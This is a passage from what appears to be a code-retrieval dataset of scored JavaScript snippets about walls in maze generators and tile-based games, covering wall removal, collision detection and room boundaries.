this.current.i - this.neighbor.i\n\t\tlet coorY = this.current.j - this.neighbor.j\n\n\t\tswitch(true)\n\t\t{\n\t\t\tcase (coorX == 0 && coorY == 1): \n\t\t\t\tthis.current.destroyUpWall()\n\t\t\t\tthis.neighbor.destroyDownWall()\n\t\t\t\tbreak\n\t\t\tcase (coorX == 0 && coorY == -1): \n\t\t\t\tthis.current.destroyDownWall()\n\t\t\t\tthis.neighbor.destroyUpWall()\n\t\t\t\tbreak\n\t\t\tcase (coorX == 1 && coorY == 0): \n\t\t\t\tthis.current.destroyLeftWall()\n\t\t\t\tthis.neighbor.destroyRightWall()\n\t\t\t\tbreak\n\t\t\tcase (coorX == -1 && coorY == 0):\n\t\t\t this.current.destroyRightWall()\n\t\t\t this.neighbor.destroyLeftWall()\n\t\t\t break\n\t\t}\n\t}", "title": "" }, { "docid": "0911b75c17a3f1c38a1b56803247166f", "score": "0.68659353", "text": "function removeWalls(currentCell, nextCell){\n \n if(nextCell.x - currentCell.x > 0){ //if moved right\n currentCell.walls.e = false;\n nextCell.walls.w = false\n }else if(nextCell.x - currentCell.x < 0){ //if moved left\n currentCell.walls.w = false;\n nextCell.walls.e = false\n }\n\n if(nextCell.y - currentCell.y > 0){ //if moved down\n currentCell.walls.s = false;\n nextCell.walls.n = false;\n }else if(nextCell.y - currentCell.y < 0){ //if moved up\n currentCell.walls.n = false;\n nextCell.walls.s = false\n }\n}", "title": "" }, { "docid": "a6f6a3e9bb635ab5e1f767385b7e7440", "score": "0.6676286", "text": "destroyWall() {\n if (!this.hasWallBreaks) {\n return;\n }\n let posX = Math.floor((this.x + this.width / 2) / 128);\n let posY = Math.floor((this.y + this.height / 2) / 128);\n switch (this.spriteDir) {\n case 0: // Right\n if (this.mazeArray[posX + 1][posY] === 1 && posX + 1 < this.mazeSize - 2) {\n this.mazeArray[posX + 1][posY] = 0;\n this.hasWallBreaks = false;\n this.destroyedWalls.push([posX + 1, posY]);\n }\n break;\n case 1: // Down\n if (this.mazeArray[posX][posY + 1] === 1 && posY + 1 < this.mazeSize - 2) {\n this.mazeArray[posX][posY + 1] = 0;\n this.hasWallBreaks = false;\n this.destroyedWalls.push([posX, posY + 1]);\n }\n break;\n case 2: // Left\n if (this.mazeArray[posX - 1][posY] === 1 && posX - 1 > 1) {\n this.mazeArray[posX - 1][posY] = 0;\n this.hasWallBreaks = false;\n this.destroyedWalls.push([posX - 1, posY]);\n }\n break;\n case 3: // Up\n if (this.mazeArray[posX][posY - 1] === 1 && posY - 1 > 1) {\n this.mazeArray[posX][posY - 1] = 0;\n this.hasWallBreaks = false;\n this.destroyedWalls.push([posX, posY - 1]);\n }\n break;\n default:\n break;\n }\n }", "title": "" }, { "docid": "e9b90c591becd936d55ba8055d41f2f9", "score": "0.66641647", "text": "breakWall(row, col, otherRow, otherCol) {\n if ((otherRow < row) && col === otherCol) { // other cell is on top of cell\n this.maze[row - 1][col].isWall = false;\n } else if ((otherRow > row) && col === otherCol) { // other cell is bottom\n this.maze[row + 1][col].isWall = false;\n } else if ((otherCol < col) && row === otherRow) { // other cell is left\n this.maze[row][col - 1].isWall = false;\n } else if ((otherCol > col) && row === otherRow) { // other cell is right\n this.maze[row][col + 1].isWall = false;\n }\n }", "title": "" }, { "docid": "7b81102784dd09a8e4dfe51c74bcdd01", "score": "0.66595584", "text": "removeWalls(current, next) {\n // Checking if the next column is to the right or left. If the number we get is -1 so it means to the right, 1 means to the left\n let x = current.colNum - next.colNum;\n // -1 means down and 1 means up\n let y = current.rowNum - next.rowNum;\n\n // Removing the right wall of the current cell\n\n if (x === -1) {\n current.walls.rightWall = false;\n next.walls.leftWall = false;\n } // Removing the left wall of the current cell\n else if (x === 1) {\n current.walls.leftWall = false;\n next.walls.rightWall = false;\n }\n\n // Removing the top and bottom wals.\n if (y === -1) {\n current.walls.bottomWall = false;\n next.walls.topWall = false;\n } else if (y === 1) {\n current.walls.topWall = false;\n next.walls.bottomWall = false;\n }\n }", "title": "" }, { "docid": "829106c707eafb227d1368ee92ef251c", "score": "0.6542234", "text": "removeBreakableWalls() {\n this._removeBreakableWalls = true;\n return this;\n }", "title": "" }, { "docid": "6ce3a31060c795543bba9da985c61c00", "score": "0.65329427", "text": "isWallNotOverlap(wall, orientation) {\n\n // check whether there is already a wall at this location\n\n let wallElement = d3.select('#gameSVG').selectAll('.wall' + orientation).filter(function (d) {\n return wall.X === d.X && wall.Y === d.Y;\n });\n if (wallElement.size() > 0)\n return false;\n\n // console.log(\"No wall on the location of first partition\");\n\n // check if the other wall partition is overlapping\n\n if (orientation === 'H') {\n let nextWall = (wall.X === 8) ? -1 : 1;\n wallElement = d3.select('#gameSVG').selectAll('.wallH').filter((d) => {\n return wall.X + nextWall === d.X && wall.Y === d.Y;\n });\n }\n else if (orientation === 'V') {\n let nextWall = (wall.Y === 8) ? -1 : 1;\n wallElement = d3.select('#gameSVG').selectAll('.wallV').filter((d) => {\n return wall.X === d.X && wall.Y + nextWall === d.Y;\n });\n }\n\n if (wallElement.size() > 0)\n return false;\n\n // console.log(\"No wall on the location of second partition\");\n\n // check whether there is a wall w/ different orientation intersecting\n\n if (orientation === 'H') {\n let lastColumn = (wall.X === 8) ? -1 : 0;\n\n wallElement = d3.select('#gameSVG').selectAll('.wallV').filter((d) => {\n // top wall exists?\n if (!(d.X === wall.X + lastColumn && d.Y === wall.Y))\n return false;\n\n // console.log(\"top wall exists\");\n // bottom wall exists?\n let bottomWall = d3.select('#gameSVG').selectAll('.wallV').filter((dd) => {\n return dd.X === wall.X + lastColumn && dd.Y === wall.Y + 1\n });\n\n return bottomWall.size() !== 0\n });\n }\n\n else if (orientation === 'V') {\n let lastRow = (wall.X === 8) ? -1 : 0;\n wallElement = d3.select('#gameSVG').selectAll('.wallH').filter((d) => {\n // left wall exists?\n if (!(d.X === wall.X && d.Y === wall.Y + lastRow))\n return false;\n // right wall exists?\n let rightWall = d3.select('#gameSVG').selectAll('.wallH').filter((dd) => {\n return dd.X === wall.X + 1 && dd.Y === wall.Y + lastRow\n });\n return rightWall.size() !== 0\n });\n\n }\n\n return wallElement.size() === 0\n\n }", "title": "" }, { "docid": "03e7d5a122204814f77ed6921e8484d6", "score": "0.64621466", "text": "function removeWall(current, next){\n\tif(current.i-next.i==0){\n\t\tif(current.j-next.j==1){\n\t\t\tcurrent.walls[0] = false;\n\t\t\tnext.walls[2] = false;\n\t\t}else{\n\t\t\tcurrent.walls[2] = false;\n\t\t\tnext.walls[0] = false;\n\t\t}\n\t}else if(current.j-next.j==0){\n\t\tif(current.i-next.i==1){\n\t\t\tcurrent.walls[3]=false;\n\t\t\tnext.walls[1]=false;\n\t\t}else{\n\t\t\tcurrent.walls[1]=false;\n\t\t\tnext.walls[3] = false;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ff06e4bed8ca2b82edbdc2275b96bd88", "score": "0.6411949", "text": "trimFloor() {\n let top;\n let left;\n let right;\n let bottom;\n for (let row = 0; row < this.floorHeight; row++) {\n for (let col = 0; col < this.floorWidth; col++) {\n if (this.tiles[row][col].type !== Tile_1.TileTypes.VOID) {\n bottom = row;\n break;\n }\n }\n }\n for (let row = this.floorHeight - 1; row > 0; row--) {\n for (let col = this.floorWidth - 1; col > 0; col--) {\n if (this.tiles[row][col].type !== Tile_1.TileTypes.VOID) {\n top = row;\n break;\n }\n }\n }\n let trimmedTiles = [];\n for (let row = top; row <= bottom + 1; row++) {\n trimmedTiles[row - top] = [];\n for (let col = 0; col < this.floorWidth; col++) {\n trimmedTiles[row - top][col] = this.tiles[row][col];\n if (trimmedTiles[row - top][col].pos) {\n trimmedTiles[row - top][col].pos.y = [row - top];\n }\n }\n }\n this.tiles = trimmedTiles;\n this.floorHeight = bottom - top;\n // Adjust the position of the rooms\n this.rooms.forEach((room) => {\n room.pos.y -= (top);\n // -= top - bottom\n });\n this.corridors.forEach((corridor) => {\n corridor.startingPosition.y -= (bottom - top);\n corridor.endPosition.y -= top - bottom;\n });\n }", "title": "" }, { "docid": "a47f3b5ddb6f745d26fd2779e9f8e0ca", "score": "0.64049757", "text": "function AddUnbreakableWalls()\n\t{\n\t\tfor(var i = 1; i < preferences.BoardColSize; i += 2)\n\t\t{\n\t\t\tfor(var j = 1; j < preferences.BoardRowSize; j+=2)\n\t\t\t{\n\t\t\t\t// Create the wall\n\t\t\t\tvar unbreakWall = new Wall(preferences, false, i, j, \n\t\t\t\t\ti*preferences.ImageSizeWidth, j*preferences.ImageSizeHeight)\n\n\t\t\t\t// Scale the wall\n\t\t\t\tunbreakWall.getSprite().scale.setTo(\n\t\t\t\t\tpreferences.WallWidthRatio, preferences.WallHeightRatio)\n\n\t\t\t\t// Add the wall to board\n\t\t\t\tReturnLayer(\"Wall\").Add(unbreakWall, i, j)\n\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "3675fd64134aa86135ae427358328fca", "score": "0.6360227", "text": "function removeWalls(current,choosen){\n\n // compare relative x position\n if(current.x-choosen.x < 0){\n current.walls.right = false;\n choosen.walls.left = false;\n }else if(current.x-choosen.x > 0){\n current.walls.left = false;\n choosen.walls.right = false;\n }\n\n // compare relative y postion\n if(current.y-choosen.y < 0){\n current.walls.bottom = false;\n choosen.walls.top = false;\n }else if(current.y-choosen.y > 0){\n current.walls.top = false;\n choosen.walls.bottom = false;\n }\n}", "title": "" }, { "docid": "f48d15cbf2a5d2bc68e003266a1a10bc", "score": "0.62737936", "text": "function AddBreakableWalls()\n\t{\n\t\tfor(var i = 0; i < preferences.BoardColSize; i++)\n\t\t{\n\t\t\t// fill in rows 1-8\n\t\t\tfor(var j = 1; j < preferences.BoardRowSize; j++)\n\t\t\t{\n\t\t\t\t// if col is odd than skip every other row to ignore unbreakable walls\n\t\t\t\tif(i % 2 == 1)\n\t\t\t\t{\n\t\t\t\t\t// extra increment to skip 1 block\n\t\t\t\t\t// on every other row\n\t\t\t\t\tj++\n\t\t\t\t}\n\n\t\t\t\t// Dont generate blocks in bottom left and right corner of game\n\t\t\t\tif(i > 2 && i < 12 || j < preferences.BoardRowSize - 1)\n\t\t\t\t{\n\t\t\t\t\t// Create the wall\n\t\t\t\t\tvar breakWall = new Wall(preferences, true, i, j, \n\t\t\t\t\t\ti*preferences.ImageSizeWidth, j*preferences.ImageSizeHeight)\n\n\t\t\t\t\t// Scale the wall\n\t\t\t\t breakWall.getSprite().scale.setTo(\n\t\t\t\t \tpreferences.WallWidthRatio, preferences.WallHeightRatio)\n\n\t\t\t\t\t// Add the wall to board\n\t\t\t\t\tReturnLayer(\"Wall\").Add(breakWall, i, j)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// fills in first row with space\n\t\t\tif(i < preferences.BoardColSize && i > 2 && i < 12)\n\t\t\t{\n\t\t\t\tvar breakWall = new Wall(preferences, true, i, 0, \n\t\t\t\t\ti*preferences.ImageSizeWidth, 0)\n\n\t\t\t\t// Scale the wall\n\t\t\t\tbreakWall.getSprite().scale.setTo(\n\t\t\t\t\tpreferences.WallWidthRatio, preferences.WallHeightRatio)\n\n\n\t\t\t\tReturnLayer(\"Wall\").Add(breakWall, i, 0)\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "62b3109d0c6f88fa13a4064150ffb91f", "score": "0.61754864", "text": "function MakeBossBounds(){\n\t\t\tvar boundX1 = bossroom[0] - (bossroom[2]/2);\n\t\t\tvar boundX2 = bossroom[0] + (bossroom[2]/2);\n\t\t\tvar boundY1 = bossroom[1] - (bossroom[3]/2);\n\t\t\tvar boundY2 = bossroom[1] + (bossroom[3]/2);\n\t\t\t\n\t\t\t// create upper wall\n\t\t\tfor (var i = boundX1 - (WALL_SIZE/2); i <= boundX2 + (WALL_SIZE/2); i += WALL_SIZE){\n\t\t\t\tvar tileX = i;\n\t\t\t\tvar tileY = boundY1 - (WALL_SIZE/2);\n\t\t\t\tvar tile = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'ledge'); // spawn a wall\n\t\t\t\t\n\t\t\t\ttile.body.immovable = true;\n\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t}\n\t\t\t// create lower wall\n\t\t\tfor (var i = boundX1 - (WALL_SIZE/2); i <= boundX2 + (WALL_SIZE/2); i += WALL_SIZE){\n\t\t\t\tvar tileX = i;\n\t\t\t\tvar tileY = boundY2 + (WALL_SIZE/2);\n\t\t\t\tvar tile = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\t\n\t\t\t\ttile.body.immovable = true;\n\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t}\n\t\t\t// create left wall\n\t\t\tfor (var i = boundY1 - (WALL_SIZE/2); i <= boundY2 + (WALL_SIZE/2); i += WALL_SIZE){\n\t\t\t\tvar tileX = boundX1 - (WALL_SIZE/2);\n\t\t\t\tvar tileY = i;\n\t\t\t\tvar tile = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\t\n\t\t\t\ttile.body.immovable = true;\n\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t}\n\t\t\t// create right wall\n\t\t\tfor (var i = boundY1 - (WALL_SIZE/2); i <= boundY2 + (WALL_SIZE/2); i += WALL_SIZE){\n\t\t\t\tvar tileX = boundX2 + (WALL_SIZE/2);\n\t\t\t\tvar tileY = i;\n\t\t\t\tvar tile = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\t\n\t\t\t\ttile.body.immovable = true;\n\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t}\n\t\t\t// These are here to prevent the player from walking through the doors as they close.\n\t\t\t// top boundary\n\t\t\ttileTemp = [];\n\t\t\tvar tileCount = 0;\n\t\t\tfor (var i = ((boundX1+boundX2)/2) - (WALL_SIZE/2); i<= ((boundX1+boundX2)/2)+ (WALL_SIZE/2); i +=WALL_SIZE){ // spawns 2 tiles in the entrance\n\t\t\t\tvar tileX =i;\n\t\t\t\tvar tileY = boundY1 - (WALL_SIZE/2);\n\t\t\t\ttileTemp[tileCount] = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'ledge'); // spawn a wall\n\t\t\t\ttileTemp[tileCount].body.immovable = true;\n\t\t\t\ttileTemp[tileCount].scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttileTemp[tileCount].anchor.x = 0.5;\n\t\t\t\ttileTemp[tileCount].anchor.y = 0.5;\n\t\t\t\ttileTemp[tileCount].alpha = 0;\n\t\t\t\t\t\n\t\t\t\ttileCount++;\n\t\t\t}\n\t\t\t// bottom boundary\n\t\t\tfor (var i = ((boundX1+boundX2)/2) - (WALL_SIZE/2); i<= ((boundX1+boundX2)/2)+ (WALL_SIZE/2); i +=WALL_SIZE){ // spawns 2 tiles in the entrance\n\t\t\t\tvar tileX = i;\n\t\t\t\tvar tileY = boundY2 + (WALL_SIZE/2);\n\t\t\t\ttileTemp[tileCount] = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\ttileTemp[tileCount].body.immovable = true;\n\t\t\t\ttileTemp[tileCount].scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttileTemp[tileCount].anchor.x = 0.5;\n\t\t\t\ttileTemp[tileCount].anchor.y = 0.5;\n\t\t\t\ttileTemp[tileCount].alpha = 0;\n\t\t\t\t\n\t\t\t\ttileCount++;\n\t\t\t}\n\t\t\t// left boundary\n\t\t\tfor (var i = ((boundY1+boundY2)/2) - (WALL_SIZE/2); i<= ((boundY1+boundY2)/2) + (WALL_SIZE/2); i +=WALL_SIZE){ // spawns 2 tiles in the entrance\n\t\t\t\tvar tileX = boundX1 - (WALL_SIZE/2);\n\t\t\t\tvar tileY = i;\n\t\t\t\ttileTemp[tileCount] = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\ttileTemp[tileCount].body.immovable = true;\n\t\t\t\ttileTemp[tileCount].scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttileTemp[tileCount].anchor.x = 0.5;\n\t\t\t\ttileTemp[tileCount].anchor.y = 0.5;\n\t\t\t\ttileTemp[tileCount].alpha = 0;\n\t\t\t\t\n\t\t\t\ttileCount++;\n\t\t\t}\n\t\t\t// right boundary\n\t\t\tfor (var i = ((boundY1+boundY2)/2) - (WALL_SIZE/2); i<= ((boundY1+boundY2)/2) + (WALL_SIZE/2); i +=WALL_SIZE){ // spawns 2 tiles in the entrance\n\t\t\t\tvar tileX = boundX2 + (WALL_SIZE/2);\n\t\t\t\tvar tileY = i;\n\t\t\t\ttileTemp[tileCount] = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\ttileTemp[tileCount].body.immovable = true;\n\t\t\t\ttileTemp[tileCount].scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttileTemp[tileCount].anchor.x = 0.5;\n\t\t\t\ttileTemp[tileCount].anchor.y = 0.5;\n\t\t\t\ttileTemp[tileCount].alpha = 0;\n\t\t\t\t\n\t\t\t\ttileCount++;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "e669dbe2f58d006f17da44000d0e25d5", "score": "0.6168391", "text": "function updateWalls() {\n\n var prevEdge = null;\n var firstEdge = null;\n\n for (i = 0; i < corners.length; i++) {\n\n var firstCorner = corners[i];\n var secondCorner = corners[(i + 1) % corners.length];\n\n // find if wall is heading in that direction\n var wallTo = firstCorner.wallTo(secondCorner);\n var wallFrom = firstCorner.wallFrom(secondCorner);\n\n if (wallTo) {\n var edge = new HalfEdge(scope, wallTo, true);\n } else if (wallFrom) {\n var edge = new HalfEdge(scope, wallFrom, false);\n } else {\n // something horrible has happened\n console.log(\"corners arent connected by a wall, uh oh\");\n }\n\n if (i == 0) {\n firstEdge = edge;\n } else {\n edge.prev = prevEdge;\n prevEdge.next = edge;\n if (i + 1 == corners.length) {\n firstEdge.prev = edge;\n edge.next = firstEdge;\n }\n }\n prevEdge = edge;\n }\n\n // hold on to an edge reference\n scope.edgePointer = firstEdge;\n }", "title": "" }, { "docid": "f9137e7e9fae6abd956c838f9a0b7f61", "score": "0.6134132", "text": "function checkWallCollisions(s) {\n var collisionSide = \"\";\n for (var i = 0; i < rows; i++) {\n for (var j = 0; j < cols; j++) {\n //check if the tile is a wall\n if (tileMap[i][j] == 1) {\n //determine the distance apart on the X axis\n var distX = floor((s.x + s.w / 2) - (j * cellWidth + cellWidth / 2));\n //determine the distance apart on the Y axis\n var distY = floor((s.y + s.h / 2) - (i * cellHeight + cellHeight / 2));\n //determine the sum of the half width of the object and the wall\n var combinedHalfWidths = floor(s.w / 2 + cellWidth / 2);\n //determine the sum of the half height and the wall\n var combinedHalfHeights = floor(s.h / 2 + cellHeight / 2);\n //check if they are overlapping on the X axis\n if (abs(distX) < combinedHalfWidths) {\n //check if they are overlapping on the Y axis\n //if so, a collision has occurred\n if (abs(distY) < combinedHalfHeights) {\n //compute the overlap of the object and the wall\n //on both the X and Y axes\n var overlapX = combinedHalfWidths - abs(distX);\n var overlapY = combinedHalfHeights - abs(distY);\n //the collision occurred on the axis with the smallest overlap\n if (overlapX >= overlapY) {\n //because distY is the object Y minus the wall Y\n //a positive value indicates the object started below\n //the wall and was moving up when the collision occurred\n //so it has hit its top into the wall\n if (distY > 0) {\n collisionSide = \"TOPSIDE\";\n //move the object down so it is no longer overlapping the wall\n s.y += overlapY;\n } else {\n collisionSide = \"BOTTOMSIDE\";\n //move the object up so it is no longer overlapping the wall\n s.y -= overlapY;\n }\n } else {\n //same logic as the Y axis collision\n if (distX > 0) {\n collisionSide = \"LEFTSIDE\";\n //move the object to the right so it is no longer overlapping the wall\n s.x += overlapX;\n } else {\n collisionSide = \"RIGHTSIDE\";\n //move the object to the left so it is no longer overlapping the wall\n s.x -= overlapX;\n }\n }\n } else {\n collisionSide = \"NONE\";\n }\n }\n }\n }\n }\n}", "title": "" }, { "docid": "db9e621f2722130202e3bdc0ae10a120", "score": "0.6126405", "text": "getRidOfUnecessaryWalls() {\n for(let x = 0; x < this.width; x++) {\n for(let y = 0; y < this.height; y++) {\n if(!this.isAdjacentToGround(x, y)) {\n let tile = this.map[x][y];\n tile.class = \"tile-null\";\n }\n }\n }\n }", "title": "" }, { "docid": "e4247aa3f3692715262eaa4d18a0fbcb", "score": "0.6065523", "text": "createWalls() {\n\n\t\t// create the first wall - give it a random width\n\t\tconst leftWallWidth = Math.floor(Math.random() * (canvas.width - 60));\n\t\tconst leftWall = new Wall(leftWallWidth, 0, this.wallSpeed);\n\t\t\t\n\t\t// create the second wall \n\t\tconst rightWallWidth = (canvas.width - leftWall.width) - 60;\n\t\tconst rightWall = new Wall(rightWallWidth, canvas.width, this.wallSpeed);\n\n\t\t// add both walls to the wall properties\n\t\tthis.walls = {leftWall: leftWall, rightWall: rightWall};\n\t}", "title": "" }, { "docid": "a3c8fe95b08df0cd128b29be0e1e974c", "score": "0.6015662", "text": "createWalls(rooms) {\n const thisFloor = this;\n rooms.forEach((room) => {\n for (let i = room.y; i < (room.y + room.height + 1); i++) {\n thisFloor.grid[room.x][i] = tileTypes.WALL;\n thisFloor.grid[room.x + room.width][i] = tileTypes.WALL;\n }\n for (let i = room.x; i < (room.x + room.width + 1); i++) {\n thisFloor.grid[i][room.y] = tileTypes.WALL;\n thisFloor.grid[i][room.y + room.height] = tileTypes.WALL;\n }\n });\n }", "title": "" }, { "docid": "c6a5b02be899330124709cabe984296c", "score": "0.60124123", "text": "mapCellsToWalls() {\n const grid = this.grid;\n const directions = ['n', 's', 'w', 'e'];\n const newGrid = [];\n const inBounds = (row, col) => (\n 0 <= row && row < grid.length &&\n 0 <= col && col < grid[row].length\n );\n\n grid.forEach((row, rowIdx) => {\n let newRow = [];\n row.map((cell, colIdx) => {\n let paths = [cell];\n\n if (inBounds(rowIdx - 1, colIdx) &&\n grid[rowIdx - 1][colIdx] === 's') { paths.push('n'); }\n if (inBounds(rowIdx + 1, colIdx) &&\n grid[rowIdx + 1][colIdx] === 'n') { paths.push('s'); }\n if (inBounds(rowIdx, colIdx - 1) &&\n grid[rowIdx][colIdx - 1] === 'e') { paths.push('w'); }\n if (inBounds(rowIdx, colIdx + 1) &&\n grid[rowIdx][colIdx + 1] === 'w') { paths.push('e'); }\n\n let walls = directions.filter(d => !paths.includes(d));\n newRow.push(walls);\n });\n newGrid.push(newRow);\n });\n\n this.wallsCollection = newGrid;\n return newGrid;\n }", "title": "" }, { "docid": "b7be5cc905fb15b2d283587c484259a0", "score": "0.59821993", "text": "function MakeBounds(num){\n\t\t\tvar roombounds = mainrooms[num];\n\t\t\tvar boundX1 = roombounds[0] - (roombounds[2]/2);\n\t\t\tvar boundX2 = roombounds[0] + (roombounds[2]/2);\n\t\t\tvar boundY1 = roombounds[1] - (roombounds[3]/2);\n\t\t\tvar boundY2 = roombounds[1] + (roombounds[3]/2);\n\t\t\t\n\t\t\t// create upper wall\n\t\t\tfor (var i = boundX1 - (WALL_SIZE/2); i <= boundX2 + (WALL_SIZE/2); i += WALL_SIZE){\n\t\t\t\tvar tileX = i;\n\t\t\t\tvar tileY = boundY1 - (WALL_SIZE/2);\n\t\t\t\tvar tile = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'ledge'); // spawn a wall\n\t\t\t\t\n\t\t\t\ttile.body.immovable = true;\n\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t}\n\t\t\t// create lower wall\n\t\t\tfor (var i = boundX1 - (WALL_SIZE/2); i <= boundX2 + (WALL_SIZE/2); i += WALL_SIZE){\n\t\t\t\tvar tileX = i;\n\t\t\t\tvar tileY = boundY2 + (WALL_SIZE/2);\n\t\t\t\tvar tile = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\t\n\t\t\t\ttile.body.immovable = true;\n\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t}\n\t\t\t// create left wall\n\t\t\tfor (var i = boundY1 - (WALL_SIZE/2); i <= boundY2 + (WALL_SIZE/2); i += WALL_SIZE){\n\t\t\t\tvar tileX = boundX1 - (WALL_SIZE/2);\n\t\t\t\tvar tileY = i;\n\t\t\t\tvar tile = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\t\n\t\t\t\ttile.body.immovable = true;\n\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t}\n\t\t\t// create right wall\n\t\t\tfor (var i = boundY1 - (WALL_SIZE/2); i <= boundY2 + (WALL_SIZE/2); i += WALL_SIZE){\n\t\t\t\tvar tileX = boundX2 + (WALL_SIZE/2);\n\t\t\t\tvar tileY = i;\n\t\t\t\tvar tile = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\t\n\t\t\t\ttile.body.immovable = true;\n\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t}\n\t\t\t\n\t\t\t// These are here to prevent the player from walking through the doors as they close.\n\t\t\t// top boundary\n\t\t\ttileTemp = [];\n\t\t\tvar tileCount = 0;\n\t\t\tfor (var i = ((boundX1+boundX2)/2) - (WALL_SIZE/2); i<= ((boundX1+boundX2)/2)+ (WALL_SIZE/2); i +=WALL_SIZE){ // spawns 2 tiles in the entrance\n\t\t\t\tvar tileX =i;\n\t\t\t\tvar tileY = boundY1 - (WALL_SIZE/2);\n\t\t\t\ttileTemp[tileCount] = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'ledge'); // spawn a wall\n\t\t\t\ttileTemp[tileCount].body.immovable = true;\n\t\t\t\ttileTemp[tileCount].scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttileTemp[tileCount].anchor.x = 0.5;\n\t\t\t\ttileTemp[tileCount].anchor.y = 0.5;\n\t\t\t\ttileTemp[tileCount].alpha = 0;\n\t\t\t\t\t\n\t\t\t\ttileCount++;\n\t\t\t}\n\t\t\t// bottom boundary\n\t\t\tfor (var i = ((boundX1+boundX2)/2) - (WALL_SIZE/2); i<= ((boundX1+boundX2)/2)+ (WALL_SIZE/2); i +=WALL_SIZE){ // spawns 2 tiles in the entrance\n\t\t\t\tvar tileX = i;\n\t\t\t\tvar tileY = boundY2 + (WALL_SIZE/2);\n\t\t\t\ttileTemp[tileCount] = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\ttileTemp[tileCount].body.immovable = true;\n\t\t\t\ttileTemp[tileCount].scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttileTemp[tileCount].anchor.x = 0.5;\n\t\t\t\ttileTemp[tileCount].anchor.y = 0.5;\n\t\t\t\ttileTemp[tileCount].alpha = 0;\n\t\t\t\t\n\t\t\t\ttileCount++;\n\t\t\t}\n\t\t\t// left boundary\n\t\t\tfor (var i = ((boundY1+boundY2)/2) - (WALL_SIZE/2); i<= ((boundY1+boundY2)/2) + (WALL_SIZE/2); i +=WALL_SIZE){ // spawns 2 tiles in the entrance\n\t\t\t\tvar tileX = boundX1 - (WALL_SIZE/2);\n\t\t\t\tvar tileY = i;\n\t\t\t\ttileTemp[tileCount] = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), 